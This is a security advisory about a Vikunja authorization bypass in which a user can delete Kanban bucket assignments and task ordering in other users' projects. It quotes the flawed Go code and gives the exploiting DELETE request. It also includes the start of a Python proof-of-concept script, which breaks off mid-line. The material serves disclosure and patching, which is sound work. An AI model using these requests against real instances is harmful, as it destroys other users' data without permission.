Résumé
Vikunja vulnerable to Improper Authorization and Authorization Bypass Through User-Controlled Key
Détails de l’avis
Summary
A user with only a single self-owned project can permanently destroy the Kanban bucket assignments (task_buckets) and task ordering (task_positions) of any other project view in the entire instance. The ProjectView.Delete model method runs three SQL statements: the first is properly scoped to (view_id, project_id), but the next two cascading deletes on task_buckets and task_positions filter only on the URL-supplied project_view_id. The permission check (CanDelete) gates on Admin of the URL :project but never confirms that the URL :view actually belongs to that project.
Details
ProjectView.Delete (file: pkg/models/project_view.go, line 250) cascades on the bare pv.ID for the second and third deletes, ignoring pv.ProjectID:
func (pv *ProjectView) Delete(s *xorm.Session, _ web.Auth) (err error) {
_, err = s.
Where("id = ? AND project_id = ?", pv.ID, pv.ProjectID). // (a) scoped — OK
Delete(&ProjectView{})
if err != nil {
return
}
_, err = s.Where("project_view_id = ?", pv.ID).Delete(&TaskBucket{}) // (b) UNSCOPED
if err != nil {
return
}
_, err = s.Where("project_view_id = ?", pv.ID).Delete(&TaskPosition{}) // (c) UNSCOPED
return
}
pv.ID and pv.ProjectID come straight from the URL path via c.Bind — see the param tags on the struct (pkg/models/project_view.go, lines 133–137):
type ProjectView struct {
ID int64 `xorm:"autoincr not null unique pk" json:"id" param:"view"`
...
ProjectID int64 `xorm:"not null index" json:"project_id" param:"project"`
...
}
The route is registered with both params in pkg/routes/routes.go, line 791:
a.DELETE("/projects/:project/views/:view", projectViewProvider.DeleteWeb)
CanDelete (file: pkg/models/project_view_permissions.go, line 38) gates only on Admin of the URL :project:
func (pv *ProjectView) CanDelete(s *xorm.Session, a web.Auth) (bool, error) {
if isInstanceAdmin(s, a) {
return true, nil
}
filterID := GetSavedFilterIDFromProjectID(pv.ProjectID)
if filterID > 0 { ... }
pp := pv.getProject() // = &Project{ID: pv.ProjectID} (URL path)
return pp.IsAdmin(s, a) // only checks admin on URL :project
}
There is no check that the view (pv.ID) actually belongs to that project. The first SQL inside Delete (the WHERE id = ? AND project_id = ? clause) compensates for the project_views table only. xorm silently returns 0 affected rows on a mismatch — no error — and the function continues. The next two statements then run unconditionally on pv.ID alone.
Why other neighbouring code paths are not vulnerable, for context:
Bucket.canDoBucket(pkg/models/kanban_permissions.go, line 46) loads the bucket from the DB and re-couples the URL project viaGetProjectViewByIDAndProject(viewID, projectID), whichWHERE id = ? AND project_id = ?— mismatched URL:projectreturns an error. Safe.ProjectView.Update(pkg/models/project_view.go, line 412) calls the sameGetProjectViewByIDAndProjectbefore applying the update. Safe.Project.UpdateProjectcascades uses.In("project_view_id", viewIDs).Delete(&Bucket{})(pkg/models/project.go, line 1396) whereviewIDsis loaded from the DB inside an authorised project-delete context. Safe.
The same shape (load-by-URL-id, then cascade-without-coupling) was the root cause of GHSA-jfmm-mjcp-8wq2 (attachment IDOR) and GHSA-2vq4-854f-5c72 (project reparenting). The view-delete cascade has not been audited the same way.
PoC
Prerequisites
- An authenticated account on the target Vikunja instance. No special role is required — local-auth registration is enough; the attacker becomes Admin of any project they create via the
OwnerIDfield set inCreateProject(pkg/models/project.go, line 1021). - Knowledge of any victim view ID. View IDs are auto-increment integers (
autoincron theidcolumn), so guessing or sequential enumeration suffices. If the attacker is a member of any other project, they can list view IDs viaGET /api/v1/projects/:project/views.
Attack Steps
# As the attacker, with valid JWT:
PUT /api/v1/projects -> create throwaway project (ID = P_A)
DELETE /api/v1/projects/P_A/views/V -> V is ANY view ID in the instance
The server returns HTTP 200 {"message":"Successfully deleted."} even when V is not in P_A. The first scoped delete matches 0 rows silently; the second and third unscoped deletes wipe task_buckets and task_positions for view V.
The view itself is not deleted. Tasks themselves are not deleted. But the Kanban layout (which task is in which column) and the manual ordering are destroyed and there is no recovery path short of restoring from backup.
Proof of Concept Script
#!/usr/bin/env python3
"""
PoC: Cross-project destruction of task_buckets / task_positions via ProjectView.Delete
Target: Vikunja
Severity: HIGH - CVSS 8.1
CWE-639: Authorization Bypass Through User-Controlled Key
Usage:
python3 poc.py http://localhost:3456
"""
import requests
import sys
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <BASE_URL>")
print(f"Example: {sys.argv[0]} http://localhost:3456")
sys.exit(1)
BASE = sys.argv[1].rstrip("/")
API = f"{BASE}/api/v1"
VICTIM_USER = "victim_poc"
VICTIM_PASS = "VictimPocPassword!2025"
ATTACKER_USER = "attacker_poc"
ATTACKER_PASS = "AttackerPocPassword!2025"
BANNER = """
=====================================================================
PoC: Cross-Project Kanban Destruction via ProjectView.Delete
Severity: HIGH (CVSS 8.1)
CWE-639: Authorization Bypass Through User-Controlled Key
=====================================================================
"""
print(BANNER)
# ---- Helpers ----
def register(username, password):
requests.post(f"{API}/register", json={
"username": username,
"email": f"{username}@poc.local",
"password": password,
}) # ignore 400 if user already exists
def login(username, password):
r = requests.post(f"{API}/login", json={
"username": username, "password": password,
})
r.raise_for_status()
return r.json()["token"]
def auth(token):
return {"Authorization": f"Bearer {token}",
"Content-Type": "application/json"}
# ---- Victim setup: project + kanban view + tasks + bucket assignments ----
print("[*] Setting up VICTIM (target)")
register(VICTIM_USER, VICTIM_PASS)
vt = login(VICTIM_USER, VICTIM_PASS)
# Create a project (kanban view + default buckets are created automatically).
proj = requests.put(f"{API}/projects",
headers=auth(vt),
json={"title": "Victim Project"}).json()
victim_pid = proj["id"]
# Find the auto-created kanban view.
views = requests.get(f"{API}/projects/{victim_pid}/views",
headers=auth(vt)).json()
kanban_view = next(v for v in views if v["view_kind"] == "kanban")
victim_vid = kanban_view["id"]
# Drop a few tasks into the project — Vikunja will auto-place them in the
# default bucket of the kanban view, populating `task_buckets`.
task_ids = []
for i in range(3):
t = requests.put(f"{API}/projects/{victim_pid}/tasks",
headers=auth(vt),
json={"title": f"Victim task {i}"}).json()
task_ids.append(t["id"])
# Touching the view via the bucket endpoint forces task_position rows to
# materialise. Read the buckets-with-tasks endpoint once.
requests.get(
f"{API}/projects/{victim_pid}/views/{victim_vid}/buckets",
headers=auth(vt),
)
# Confirm the kanban state has populated buckets+tasks.
buckets = requests.get(
f"{API}/projects/{victim_pid}/views/{victim_vid}/buckets",
headers=auth(vt),
).json()
total_tasks_before = sum(len(b.get("tasks") or []) for b in buckets)
print(f"[*] Victim project={victim_pid}, view
Références
- https://github.com/advisories/GHSA-gg93-x632-9ccv
- https://github.com/go-vikunja/vikunja/security/advisories/GHSA-gg93-x632-9ccv
- https://github.com/go-vikunja/vikunja/pull/3239
- https://github.com/go-vikunja/vikunja/commit/6895a7765ef1667be4b79df29549d33b9e1ca9ca
- https://github.com/go-vikunja/vikunja/releases/tag/v2.4.0
Vulnérabilités liées
Tout Supply chain →- MEDIUMCVE-2026-83805
Nautobot: Authorization bypass in approval workflow REST API allows self-approval and unauthorized activation of scheduled jobs
- HIGHCVE-2026-84314
Nginx UI: Account Takeover via Missing `RequireSecureSession` on User Management Endpoint
- MEDIUMCVE-2026-107850
Contao: Improper access control in the preview links module
- MEDIUMCVE-2026-91980
Vikunja: Any user can enumerate every team and its members by attaching arbitrary teams to a throwaway project
- MEDIUMCVE-2026-91984
Vikunja: Cross-tenant task-position rows can be injected into arbitrary project views via the unvalidated project_view_id in the task position endpoint (v1 and v2)
- HIGHCVE-2026-91985
Vikunja: Read-only project members can obtain any link share's access hash via the single-share read endpoint (v1 and v2) and escalate to the share's permission level